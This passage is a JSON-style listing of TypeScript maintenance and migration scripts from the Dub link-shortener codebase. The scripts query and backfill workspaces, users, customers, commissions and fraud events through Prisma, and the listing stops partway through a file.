    "content": "import { getAnalytics } from \"@/lib/analytics/get-analytics\";\nimport { prisma } from \"@dub/prisma\";\nimport { linkConstructor } from \"@dub/utils\";\nimport \"dotenv-flow/config\";\n\nasync function main() {\n  const workspace = await prisma.project.findUnique({\n    where: {\n      slug: \"dub\",\n    },\n    select: {\n      id: true,\n      name: true,\n      slug: true,\n      usage: true,\n      usageLimit: true,\n      plan: true,\n      billingCycleStart: true,\n      users: {\n        select: {\n          user: true,\n        },\n      },\n      domains: {\n        where: {\n          verified: true,\n        },\n      },\n      sentEmails: true,\n      createdAt: true,\n    },\n  });\n  if (!workspace) {\n    console.log(\"No workspace found\");\n    return;\n  }\n  const topLinks = await getAnalytics({\n    event: \"clicks\",\n    groupBy: \"top_links\",\n    workspaceId: workspace.id,\n    interval: \"30d\",\n    root: false,\n  }).then(async (data) => {\n    const topFive = data.slice(0, 5);\n    return await Promise.all(\n      topFive.map(\n        async ({ link: linkId, clicks }: { link: string; clicks: number }) => {\n          const link = await prisma.link.findUnique({\n            where: {\n              id: linkId,\n            },\n            select: {\n              domain: true,\n              key: true,\n            },\n          });\n          if (!link) return;\n          return {\n            link: linkConstructor({\n              domain: link.domain,\n              key: link.key,\n              pretty: true,\n            }),\n            clicks,\n          };\n        },\n      ),\n    );\n  });\n\n  console.table(topLinks);\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/get-users-by-links.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\n\nasync function main() {\n  const users = await prisma.link.groupBy({\n    by: [\"userId\"],\n    _count: {\n      id: true,\n    },\n    where: {\n      domain: {\n        in: [\"dub.sh\", \"chatg.pt\", \"spti.fi\", \"amzn.id\"],\n      },\n    },\n    orderBy: {\n      _count: {\n        id: \"desc\",\n      },\n    },\n    take: 100,\n  });\n  const usersWithEmails = await Promise.all(\n    users\n      .filter(({ userId }) => userId !== null)\n      .map(async (user) => {\n        const u = await prisma.user.findUnique({\n          where: {\n            id: user.userId!,\n          },\n          select: {\n            email: true,\n          },\n        });\n        if (!u) {\n          return user;\n        }\n        return {\n          email: u.email,\n          links: user._count.id,\n        };\n      }),\n  );\n  console.table(usersWithEmails);\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/get-users-with-multiple-free-workspaces.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\n\nasync function main() {\n  const freeProjectUsers = await prisma.projectUsers\n    .groupBy({\n      by: [\"userId\"],\n      where: {\n        role: \"owner\",\n        project: {\n          plan: \"free\",\n        },\n        user: {\n          createdAt: {\n            gte: new Date(\"2024-01-01\"), // we used to allow creating unlimited free projects before this date\n          },\n        },\n      },\n      _count: {\n        projectId: true,\n      },\n      orderBy: {\n        _count: {\n          projectId: \"desc\",\n        },\n      },\n    })\n    .then((res) => res.filter((user) => user._count.projectId > 2));\n\n  // only 2 users: user_1JQ4XWW8DE941MT2W58QEBH0H, user_1JQ6T72YAWND8716B3DTAE979\n  // both via pen-testing\n  console.log(freeProjectUsers);\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/get-users.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\nimport * as fs from \"fs\";\nimport * as Papa from \"papaparse\";\n\nasync function main() {\n  const users = await prisma.user.findMany({\n    select: {\n      email: true,\n      name: true,\n      createdAt: true,\n    },\n  });\n\n  console.log(users.length, \"users found\");\n\n  fs.writeFileSync(\"dub-users.csv\", Papa.unparse(users));\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/get-workspaces-by-clicks.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\n\nasync function main() {\n  const workspaces = await prisma.project.findMany({\n    select: {\n      slug: true,\n      plan: true,\n      usage: true,\n      _count: {\n        select: {\n          domains: true,\n        },\n      },\n    },\n    orderBy: {\n      usage: \"desc\",\n    },\n    take: 100,\n  });\n  console.table(workspaces, [\"slug\", \"plan\", \"usage\", \"_count\"]);\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/get-workspaces-by-links.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\n\nasync function main() {\n  const workspaces = await prisma.project.findMany({\n    select: {\n      slug: true,\n      plan: true,\n      linksUsage: true,\n      linksLimit: true,\n    },\n    orderBy: {\n      linksUsage: \"desc\",\n    },\n    take: 100,\n  });\n  console.table(workspaces, [\"slug\", \"plan\", \"linksUsage\", \"linksLimit\"]);\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/hash-speed.ts",
    "content": "import { hashStringSHA256 } from \"@dub/utils\";\n\nasync function main() {\n  const text =\n    \"Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur.\";\n  console.time(\"hash\");\n  const hash = await hashStringSHA256(text);\n  console.timeEnd(\"hash\");\n  console.log(hash);\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/lua-convert.ts",
    "content": "import { redis } from \"@/lib/upstash\";\nimport \"dotenv-flow/config\";\n\nasync function main() {\n  const script = `\nlocal list_key = KEYS[1]\nlocal sorted_set_key = KEYS[2]\n\nlocal list_length = 50\n\nlocal output = {}\n\nfor i = 1, list_length do\n    local json_item = redis.call('LINDEX', list_key, i - 1)\n\n    table.insert(output, json_item)\nend\n\nreturn output`;\n\n  const response = await redis.eval(script, [\"metatags, metatags-set\"], []);\n\n  console.log(response);\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/migrate-commission-attributes.ts",
    "content": "// @ts-nocheck – since this contains old schema code\n\nimport { createId } from \"@/lib/api/create-id\";\nimport { prisma } from \"@dub/prisma\";\nimport { EventType } from \"@dub/prisma/client\";\nimport \"dotenv-flow/config\";\n\n// Migrate the commission attributes from Program table to Reward table.\nasync function main() {\n  const programs = await prisma.program.findMany();\n\n  for (const program of programs) {\n    const maxDuration =\n      program.commissionDuration === null\n        ? program.commissionDuration\n        : program.commissionInterval === \"year\"\n          ? program.commissionDuration * 12\n          : program.commissionDuration;\n\n    const reward = await prisma.reward.create({\n      data: {\n        id: createId({ prefix: \"rw_\" }),\n        programId: program.id,\n        event: EventType.sale,\n        type: program.commissionType,\n        amount: program.commissionAmount,\n        maxDuration,\n        createdAt: program.createdAt,\n        updatedAt: program.updatedAt,\n      },\n    });\n\n    console.log(`Migrated commission attributes for program ${program.id}`);\n  }\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/migrations/backfill-application-groupId.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\n\n// Run this only after \"backfill-partner-groups.ts\"\nasync function main() {\n  const programs = await prisma.program.findMany({\n    select: {\n      id: true,\n      defaultGroupId: true,\n    },\n    take: 100,\n  });\n\n  const programApplications = await prisma.programApplication.groupBy({\n    by: [\"programId\"],\n    where: {\n      groupId: null,\n    },\n    _count: {\n      _all: true,\n    },\n  });\n\n  if (programApplications.length === 0) {\n    console.log(\"No program applications to update.\");\n    return;\n  }\n\n  console.log(\n    `Found ${programApplications.length} program applications to update`,\n  );\n\n  // Create a map of programId -> defaultGroupId\n  const programMap = new Map(\n    programs.map(({ id, defaultGroupId }) => [id, defaultGroupId]),\n  );\n\n  const toUpdate = programApplications.map(({ programId, _count }) => ({\n    programId,\n    count: _count._all,\n    groupId: programMap.get(programId),\n  }));\n\n  console.table(toUpdate);\n\n  // Batch update the applications for the same programId\n  for (const { programId, groupId } of toUpdate) {\n    await prisma.programApplication.updateMany({\n      where: {\n        programId,\n        groupId: null,\n      },\n      data: {\n        groupId,\n      },\n    });\n  }\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/migrations/backfill-attribution.ts",
    "content": "import { createId } from \"@/lib/api/create-id\";\nimport { generateRandomName } from \"@/lib/names\";\nimport { prisma } from \"@dub/prisma\";\nimport { DUB_WORKSPACE_ID, nanoid } from \"@dub/utils\";\nimport \"dotenv-flow/config\";\nimport { getClickEvent, recordLeadWithTimestamp } from \"../../lib/tinybird\";\n\nconst referredUserEmail = \"xxx@x.com\";\nconst referredWorkspaceSlug = \"xxx\";\nconst clickId = \"xxx\";\nconst linkId = \"xxx\";\n\n// backfill-attribution – backfill missing lead events for a link\nasync function main() {\n  const referredUser = await prisma.user.findUniqueOrThrow({\n    where: {\n      email: referredUserEmail,\n    },\n  });\n\n  const leadTime = referredUser.createdAt;\n\n  const referredWorkspace = await prisma.project.findUniqueOrThrow({\n    where: {\n      slug: referredWorkspaceSlug,\n    },\n  });\n\n  if (!referredWorkspace.stripeId) {\n    throw new Error(\"Referred workspace does not have a Stripe ID\");\n  }\n\n  const dubWorkspace = await prisma.project.findUniqueOrThrow({\n    where: {\n      id: DUB_WORKSPACE_ID,\n    },\n  });\n\n  const clickData = await getClickEvent({\n    clickId,\n  });\n\n  if (!clickData) {\n    throw new Error(\"Click event not found\");\n  }\n\n  const existingCustomer = await prisma.customer.findUnique({\n    where: {\n      stripeCustomerId: referredWorkspace.stripeId,\n    },\n  });\n\n  if (!existingCustomer) {\n    const customer = await prisma.customer.create({\n      data: {\n        id: createId({ prefix: \"cus_\" }),\n        name: referredUser.name || referredUser.email || generateRandomName(),\n        email: referredUser.email,\n        avatar: referredUser.image,\n        externalId: referredUser.id,\n        projectId: dubWorkspace.id,\n        projectConnectId: dubWorkspace.stripeConnectId,\n        clickId: clickId,\n        linkId: linkId,\n        country: clickData.country,\n        clickedAt: new Date(clickData.timestamp),\n        createdAt: leadTime,\n      },\n    });\n\n    console.log(\"recorded customer\", customer);\n\n    const leadRes = await recordLeadWithTimestamp({\n      ...clickData,\n      event_id: nanoid(16),\n      event_name: \"Sign up\",\n      customer_id: customer.id,\n      timestamp: leadTime.toISOString(),\n    });\n\n    console.log(\"recorded lead\", leadRes);\n  }\n\n  // update link clicks and leads count\n  const res = await prisma.link.update({\n    where: {\n      id: linkId,\n    },\n    data: {\n      leads: {\n        increment: 1,\n      },\n    },\n  });\n\n  console.log(`updated link ${linkId} leads to ${res.leads}`);\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/migrations/backfill-banned-partner-links.ts",
    "content": "import { includeProgramEnrollment } from \"@/lib/api/links/include-program-enrollment\";\nimport { includeTags } from \"@/lib/api/links/include-tags\";\nimport { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\nimport { recordLink } from \"../../lib/tinybird/record-link\";\n\nasync function main() {\n  // Find links for partners that were banned\n  const links = await prisma.link.findMany({\n    where: {\n      programEnrollment: {\n        status: \"banned\",\n      },\n    },\n    include: {\n      ...includeTags,\n      ...includeProgramEnrollment,\n    },\n    orderBy: {\n      id: \"asc\",\n    },\n    skip: 1500,\n    take: 500,\n  });\n\n  if (links.length === 0) {\n    return;\n  }\n\n  console.log(`Found ${links.length} links to process.`);\n  const prismaRes = await prisma.link.updateMany({\n    where: {\n      id: {\n        in: links.map((link) => link.id),\n      },\n    },\n    data: {\n      disabledAt: new Date(),\n    },\n  });\n  console.log(`Updated ${prismaRes.count} links to be disabled.`);\n\n  const tbRes = await recordLink(links, {\n    deleted: true,\n  });\n\n  console.log(\"Deleted links in Tinybird\", tbRes);\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/migrations/backfill-click-commissions.ts",
    "content": "import { createId } from \"@/lib/api/create-id\";\nimport { getProgramEnrollmentOrThrow } from \"@/lib/api/programs/get-program-enrollment-or-throw\";\nimport { getRewardAmount } from \"@/lib/partners/get-reward-amount\";\nimport { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\nimport { getAnalytics } from \"../../lib/analytics/get-analytics\";\nimport { determinePartnerReward } from \"../../lib/partners/determine-partner-reward\";\n\nasync function main() {\n  const programId = \"prog_xxx\";\n  const partnerId = \"pn_xxx\";\n\n  const programEnrollment = await getProgramEnrollmentOrThrow({\n    partnerId,\n    programId,\n    include: {\n      partner: true,\n      links: true,\n      clickReward: true,\n    },\n  });\n\n  const reward = determinePartnerReward({\n    event: \"click\",\n    programEnrollment,\n  });\n\n  const link = await prisma.link.findFirst({\n    where: {\n      programId,\n      partnerId,\n    },\n  });\n\n  if (!reward) {\n    throw new Error(\"Reward not found\");\n  }\n\n  console.log(reward);\n\n  const clicksData = await getAnalytics({\n    programId,\n    partnerId,\n    event: \"clicks\",\n    groupBy: \"timeseries\",\n    interval: \"90d\",\n  });\n\n  const payoutIds = {\n    \"2024-11\": \"po_xxx\",\n    \"2024-12\": \"po_xxx\",\n    \"2025-01\": \"po_xxx\",\n  };\n\n  const commissions = clicksData\n    .map(({ clicks: quantity, start }) => {\n      // skip today (2025-02-20)\n      if (start.startsWith(\"2025-02-20\")) {\n        return null;\n      }\n      const payoutId = payoutIds[start.slice(0, 7)];\n      return {\n        id: createId({ prefix: \"cm_\" }),\n        programId,\n        partnerId,\n        linkId: link?.id,\n        payoutId,\n        type: \"click\",\n        amount: 0,\n        quantity,\n        earnings: getRewardAmount(reward) * quantity,\n        status: payoutId ? \"paid\" : \"pending\",\n        createdAt: new Date(start),\n        updatedAt: new Date(start),\n      };\n    })\n    .filter((c) => c && c.quantity > 0);\n\n  console.table(commissions);\n\n  await prisma.commission.createMany({\n    data: commissions,\n  });\n\n  console.log(commissions);\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/migrations/backfill-commissions-rewardId.ts",
    "content": "import { REWARD_EVENT_COLUMN_MAPPING } from \"@/lib/zod/schemas/rewards\";\nimport { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\n\n// Backfill `rewardId` in `Commission` table\nasync function main() {\n  const event = \"sale\"; // Repeat this for click, lead, sale\n  const rewarIdColumn = REWARD_EVENT_COLUMN_MAPPING[event];\n\n  const programEnrollments = await prisma.programEnrollment.groupBy({\n    by: [\"programId\", rewarIdColumn],\n    _count: {\n      _all: true,\n    },\n  });\n\n  console.table(programEnrollments);\n\n  for (const {\n    _count,\n    programId,\n    [rewarIdColumn]: rewardId,\n  } of programEnrollments) {\n    if (_count._all === 0) {\n      continue;\n    }\n\n    const partners = await prisma.programEnrollment.findMany({\n      where: {\n        programId,\n        [rewarIdColumn]: rewardId!,\n      },\n      select: {\n        partnerId: true,\n      },\n    });\n\n    const partnerIds = partners.map((p) => p.partnerId);\n\n    if (partnerIds.length === 0) {\n      continue;\n    }\n\n    await prisma.commission.updateMany({\n      where: {\n        programId,\n        partnerId: {\n          in: partnerIds,\n        },\n        rewardId: null,\n        type: {\n          not: \"custom\",\n        },\n      },\n      data: {\n        rewardId,\n      },\n    });\n  }\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/migrations/backfill-cross-program-ban-fraud-events.ts",
    "content": "import { createId } from \"@/lib/api/create-id\";\nimport { createFraudEventHash } from \"@/lib/api/fraud/utils\";\nimport { prisma } from \"@dub/prisma\";\nimport { FraudRuleType, Prisma } from \"@dub/prisma/client\";\nimport { chunk, groupBy } from \"@dub/utils\";\nimport \"dotenv-flow/config\";\n\nasync function main() {\n  const fraudGroups = await prisma.fraudEventGroup.findMany({\n    where: {\n      type: \"partnerCrossProgramBan\",\n      fraudEvents: {\n        some: {\n          sourceProgramId: null,\n        },\n      },\n    },\n    select: {\n      id: true,\n      programId: true,\n      partnerId: true,\n      createdAt: true,\n    },\n    orderBy: {\n      createdAt: \"asc\",\n    },\n  });\n\n  if (fraudGroups.length === 0) {\n    console.log(\"No fraud events to process.\");\n    return;\n  }\n\n  console.log(`Found ${fraudGroups.length} fraud groups to process.`);\n\n  const bannedEnrollments = await prisma.programEnrollment.findMany({\n    where: {\n      partnerId: {\n        in: fraudGroups.map((e) => e.partnerId),\n      },\n      status: \"banned\",\n    },\n    select: {\n      programId: true,\n      partnerId: true,\n      bannedAt: true,\n      bannedReason: true,\n    },\n    orderBy: {\n      bannedAt: \"asc\",\n    },\n  });\n\n  const bannedEnrollmentsByPartnerId = groupBy(\n    bannedEnrollments,\n    (e) => e.partnerId,\n  );\n\n  const fraudEventsToCreate: Prisma.FraudEventCreateManyInput[] = [];\n\n  for (const fraudGroup of fraudGroups) {\n    const bannedEnrollments =\n      bannedEnrollmentsByPartnerId[fraudGroup.partnerId];\n\n    if (!bannedEnrollments || bannedEnrollments.length === 0) {\n      continue;\n    }\n\n    for (const bannedEnrollment of bannedEnrollments) {\n      if (bannedEnrollment.programId === fraudGroup.programId) {\n        continue;\n      }\n\n      const fraudEvent = {\n        programId: fraudGroup.programId,\n        partnerId: fraudGroup.partnerId,\n        sourceProgramId: bannedEnrollment.programId,\n        metadata: {\n          bannedAt: bannedEnrollment.bannedAt,\n          bannedReason: bannedEnrollment.bannedReason,\n        },\n      };\n\n      fraudEventsToCreate.push({\n        ...fraudEvent,\n        id: createId({ prefix: \"fre_\" }),\n        fraudEventGroupId: fraudGroup.id,\n        hash: createFraudEventHash({\n          ...fraudEvent,\n          type: FraudRuleType.partnerCrossProgramBan,\n        }),\n        createdAt: bannedEnrollment.bannedAt ?? new Date(),\n        updatedAt: bannedEnrollment.bannedAt ?? new Date(),\n      });\n    }\n  }\n\n  if (fraudEventsToCreate.length > 0) {\n    const chunks = chunk(fraudEventsToCreate, 500);\n\n    for (const chunk of chunks) {\n      await prisma.fraudEvent.createMany({\n        data: chunk,\n      });\n    }\n\n    console.log(`Created ${fraudEventsToCreate.length} fraud events total.`);\n  }\n\n  // Delete old fraud events without sourceProgramId\n  // These are the old fraud events that we're replacing with new ones that have sourceProgramId\n  const deletedFraudEvent = await prisma.fraudEvent.deleteMany({\n    where: {\n      fraudEventGroup: {\n        type: \"partnerCrossProgramBan\",\n      },\n      sourceProgramId: null,\n    },\n  });\n\n  console.log(`Deleted ${deletedFraudEvent.count} old fraud events.`);\n\n  // Delete fraud event groups that have no fraud events\n  const deletedFraudEventGroups = await prisma.fraudEventGroup.deleteMany({\n    where: {\n      type: \"partnerCrossProgramBan\",\n      fraudEvents: {\n        none: {},\n      },\n    },\n  });\n\n  console.log(`Deleted ${deletedFraudEventGroups.count} fraud event groups.`);\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/migrations/backfill-customer-first-sale.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { chunk } from \"@dub/utils\";\nimport \"dotenv-flow/config\";\nimport * as z from \"zod/v4\";\nimport { tb } from \"../../lib/tinybird/client\";\n\nexport const getFirstSaleEvents = tb.buildPipe({\n  pipe: \"get_first_sale_events\",\n  parameters: z.object({\n    customerIds: z.string().array(),\n  }),\n  data: z.object({\n    customerId: z.string(),\n    firstSaleAt: z.string(),\n  }),\n});\n\nasync function main() {\n  while (true) {\n    const customerWithSales = await prisma.customer.findMany({\n      where: {\n        sales: {\n          gt: 0,\n        },\n        firstSaleAt: null,\n      },\n      take: 5000,\n    });\n\n    if (customerWithSales.length === 0) {\n      console.log(\"No customers left to backfill\");\n      break;\n    }\n\n    let updated = 0;\n\n    const chunks = chunk(customerWithSales, 100);\n\n    for (const chunk of chunks) {\n      const firstSaleEvents = await getFirstSaleEvents({\n        customerIds: chunk.map((customer) => customer.id),\n      }).then((res) => res.data);\n\n      await Promise.all(\n        chunk.map(async (customer) => {\n          const firstSaleEvent = firstSaleEvents\n            .filter((event) => event.customerId === customer.id)\n            .sort(\n              (a, b) =>\n                new Date(a.firstSaleAt).getTime() -\n                new Date(b.firstSaleAt).getTime(),\n            )[0];\n\n          if (!firstSaleEvent) {\n            return;\n          }\n          try {\n            await prisma.customer.update({\n              where: { id: customer.id },\n              data: {\n                firstSaleAt: new Date(firstSaleEvent.firstSaleAt),\n              },\n            });\n            updated++;\n          } catch (_e) {}\n        }),\n      );\n\n      console.log(\n        `Updated ${updated}/${customerWithSales.length} customers (${(updated / customerWithSales.length) * 100}%)`,\n      );\n    }\n  }\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/migrations/backfill-customer-partner-ids.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { chunk } from \"@dub/utils\";\nimport \"dotenv-flow/config\";\n\nasync function main() {\n  while (true) {\n    const customers = await prisma.customer.findMany({\n      where: {\n        programId: null,\n        link: {\n          programId: {\n            not: null,\n          },\n        },\n      },\n      select: {\n        id: true,\n        link: {\n          select: {\n            programId: true,\n            partnerId: true,\n          },\n        },\n      },\n      take: 10000,\n    });\n    if (customers.length === 0) {\n      console.log(\"No customers left to backfill\");\n      break;\n    }\n\n    console.log(`Found ${customers.length} customers to backfill`);\n\n    const chunks = chunk(customers, 100);\n    for (let i = 0; i < chunks.length; i++) {\n      const chunk = chunks[i];\n      console.log(`Backfilling chunk ${i + 1} of ${chunks.length}`);\n      await Promise.all(\n        chunk.map((customer) =>\n          prisma.customer.update({\n            where: { id: customer.id },\n            data: {\n              programId: customer.link?.programId,\n              partnerId: customer.link?.partnerId,\n            },\n          }),\n        ),\n      );\n    }\n  }\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/migrations/backfill-customer-sales.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\nimport * as fs from \"fs\";\nimport * as Papa from \"papaparse\";\n\nlet customersToBackfill: {\n  customerId: string;\n  sales: number;\n  saleAmount: number;\n}[] = [];\n\nasync function main() {\n  Papa.parse(fs.createReadStream(\"customer_sales.csv\", \"utf-8\"), {\n    header: true,\n    skipEmptyLines: true,\n    step: (result: {\n      data: {\n        customerId: string;\n        sales: string;\n        saleAmount: string;\n      };\n    }) => {\n      customersToBackfill.push({\n        customerId: result.data.customerId,\n        sales: parseInt(result.data.sales),\n        saleAmount: parseInt(result.data.saleAmount),\n      });\n    },\n    complete: async () => {\n      console.table(\n        customersToBackfill\n          .slice(0, 10)\n          .concat(customersToBackfill.slice(90, 100)),\n      );\n\n      // take first 100 customers, backfill, and delete from csv\n      const chunkedCustomers = customersToBackfill.slice(0, 100);\n\n      await Promise.all(\n        chunkedCustomers.map(async (customer) => {\n          try {\n            await prisma.customer.update({\n              where: { id: customer.customerId },\n              data: {\n                sales: customer.sales,\n                saleAmount: customer.saleAmount,\n              },\n            });\n          } catch (error) {\n            console.log(\n              `Can't find customer ${customer.customerId} with sales ${customer.sales} and sale amount ${customer.saleAmount}`,\n            );\n          }\n        }),\n      );\n\n      // delete from csv\n      customersToBackfill = customersToBackfill.slice(100);\n      fs.writeFileSync(\"customer_sales.csv\", Papa.unparse(customersToBackfill));\n    },\n  });\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/migrations/backfill-customer-subscription-cancellation.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { chunk } from \"@dub/utils\";\nimport \"dotenv-flow/config\";\nimport { stripeAppClient } from \"../../lib/stripe\";\n\nasync function main() {\n  let page = 0;\n  const pageSize = 5000;\n\n  while (true) {\n    const stripeCustomers = await prisma.customer.findMany({\n      where: {\n        stripeCustomerId: {\n          not: null,\n        },\n        firstSaleAt: null,\n      },\n      take: pageSize,\n      skip: page * pageSize,\n    });\n\n    if (stripeCustomers.length === 0) {\n      console.log(\"No customers left to backfill\");\n      break;\n    }\n\n    const chunks = chunk(stripeCustomers, 20);\n    for (const chunk of chunks) {\n      await Promise.all(\n        chunk.map(async (customer) => {\n          try {\n            const customerSubscriptions = await stripeAppClient({\n              mode: \"live\",\n            }).subscriptions.list(\n              {\n                customer: customer.stripeCustomerId!,\n                status: \"all\",\n              },\n              {\n                stripeAccount: customer.projectConnectId!,\n              },\n            );\n\n            if (customerSubscriptions.data.length === 0) {\n              console.log(\n                `No subscriptions found for customer ${customer.email}`,\n              );\n              return;\n            }\n\n            const subscription = customerSubscriptions.data[0];\n\n            const updatedCustomer = await prisma.customer.update({\n              where: { id: customer.id },\n              data: {\n                firstSaleAt: new Date(subscription.created * 1000),\n                subscriptionCanceledAt: subscription.canceled_at\n                  ? new Date(subscription.canceled_at * 1000)\n                  : null,\n              },\n            });\n            console.log({\n              email: updatedCustomer.email,\n              firstSaleAt: updatedCustomer.firstSaleAt,\n              subscriptionCanceledAt: updatedCustomer.subscriptionCanceledAt,\n            });\n          } catch (error) {\n            console.log(\n              `Test mode customer detected: ${customer.stripeCustomerId}`,\n            );\n          }\n        }),\n      );\n    }\n\n    page++;\n  }\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/migrations/backfill-customers.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { Prisma } from \"@dub/prisma/client\";\nimport \"dotenv-flow/config\";\nimport * as z from \"zod/v4\";\nimport { tb } from \"../../lib/tinybird/client\";\nimport { getLeadEvents } from \"../../lib/tinybird/get-lead-events\";\n\nexport const getClickEvents = tb.buildPipe({\n  pipe: \"get_click_events\",\n  parameters: z.object({\n    clickIds: z.array(z.string()),\n  }),\n  data: z.any(),\n});\n\n// Backfill new customer columns such as linkId, clickId, country\nasync function main() {\n  const where: Prisma.CustomerWhereInput = {\n    linkId: null,\n    projectId: {\n      not: \"clrei1gld0002vs9mzn93p8ik\",\n    },\n  };\n\n  const customers = await prisma.customer.findMany({\n    where,\n    select: {\n      id: true,\n      createdAt: true,\n    },\n    take: 200,\n    orderBy: {\n      createdAt: \"desc\",\n    },\n  });\n\n  if (customers.length === 0) {\n    console.log(\"No customers left to update.\");\n    return;\n  }\n\n  // Find leads\n  const customerIds = customers.map((customer) => customer.id);\n\n  const leadEvents = await getLeadEvents({ customerIds }).then(\n    (res) => res.data,\n  );\n\n  // Find clicks\n  // We're fetching clicks, because leads doesn't have information about when click happened\n  const clickIds = leadEvents\n    .map((event) => event.click_id)\n    .filter(Boolean) as string[];\n\n  const clickEvents = await getClickEvents({ clickIds }).then(\n    (res) => res.data,\n  );\n\n  // Update customers\n  const result = await Promise.all(\n    customers.map(async (customer) => {\n      const leadEvent = leadEvents.find(\n        (lead) => lead?.customer_id === customer.id,\n      );\n\n      const clickEvent = clickEvents.find(\n        (click) => click?.click_id === leadEvent?.click_id,\n      );\n\n      if (!leadEvent || !clickEvent) {\n        return customer;\n      }\n\n      return prisma.customer.update({\n        where: { id: customer.id },\n        data: {\n          linkId: clickEvent.link_id,\n          clickId: clickEvent.click_id,\n          country: clickEvent.country,\n          clickedAt: new Date(clickEvent.timestamp + \"Z\"),\n        },\n        select: {\n          id: true,\n          linkId: true,\n          clickId: true,\n          country: true,\n          clickedAt: true,\n        },\n      });\n    }),\n  );\n\n  const remaining = await prisma.customer.count({\n    where,\n  });\n\n  console.table(result);\n  console.log(`${remaining} remaining`);\n}\n\nmain();\n\n// '2024-12-17 13:48:52.533'\n// new Date('2024-12-17 13:48:52.533')\n"
  },
  {
    "path": "apps/web/scripts/migrations/backfill-dashboards.ts",
    "content": "import { createId } from \"@/lib/api/create-id\";\nimport { prisma } from \"@dub/prisma\";\nimport { getPrettyUrl, truncate } from \"@dub/utils\";\nimport \"dotenv-flow/config\";\n\nasync function main() {\n  const links = await prisma.link.findMany({\n    where: {\n      publicStats: true,\n      dashboard: null,\n    },\n    select: {\n      id: true,\n      shortLink: true,\n      clicks: true,\n      trackConversion: true,\n      projectId: true,\n      userId: true,\n    },\n    orderBy: {\n      clicks: \"desc\",\n    },\n    take: 500,\n  });\n\n  const results = await Promise.all(\n    links.map(async (link) => {\n      const dashboard = await prisma.dashboard.create({\n        data: {\n          id: createId({ prefix: \"dash_\" }),\n          linkId: link.id,\n          projectId: link.projectId,\n          userId: link.userId,\n        },\n      });\n\n      return {\n        shortLink: truncate(getPrettyUrl(link.shortLink), 24),\n        clicks: link.clicks,\n        dashboardUrl: `https://preview.dub.co/share/${dashboard.id}`,\n      };\n    }),\n  );\n\n  const remaining = await prisma.link.count({\n    where: {\n      publicStats: true,\n      dashboard: null,\n    },\n  });\n\n  console.table(results);\n  console.log(`${remaining} remaining`);\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/migrations/backfill-deepview.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { Prisma } from \"@dub/prisma/client\";\nimport \"dotenv-flow/config\";\n\nasync function main() {\n  const domains = await prisma.domain.findMany({\n    where: {\n      deepviewData: {\n        equals: Prisma.AnyNull,\n      },\n    },\n    take: 1000,\n  });\n\n  const deepviewData = await prisma.domain.updateMany({\n    where: {\n      id: { in: domains.map((domain) => domain.id) },\n    },\n    data: { deepviewData: {} },\n  });\n\n  console.log(deepviewData);\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/migrations/backfill-default-payout-method.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { Partner, PartnerPayoutMethod } from \"@dub/prisma/client\";\nimport \"dotenv-flow/config\";\n\nconst BATCH_SIZE = 500;\n\nasync function main() {\n  while (true) {\n    const partners = await prisma.partner.findMany({\n      where: {\n        defaultPayoutMethod: null,\n        OR: [\n          {\n            stripeConnectId: {\n              not: null,\n            },\n          },\n          {\n            paypalEmail: {\n              not: null,\n            },\n          },\n        ],\n      },\n      select: {\n        id: true,\n        stripeConnectId: true,\n        paypalEmail: true,\n      },\n      take: BATCH_SIZE,\n    });\n\n    if (partners.length === 0) {\n      break;\n    }\n\n    const connectPartners: Pick<Partner, \"id\" | \"stripeConnectId\">[] = [];\n    const paypalPartners: Pick<Partner, \"id\" | \"paypalEmail\">[] = [];\n\n    for (const partner of partners) {\n      if (partner.stripeConnectId) {\n        connectPartners.push(partner);\n      } else if (partner.paypalEmail) {\n        paypalPartners.push(partner);\n      }\n    }\n\n    const promise1 =\n      connectPartners.length > 0\n        ? prisma.partner.updateMany({\n            where: {\n              id: {\n                in: connectPartners.map((partner) => partner.id),\n              },\n              defaultPayoutMethod: null,\n            },\n            data: 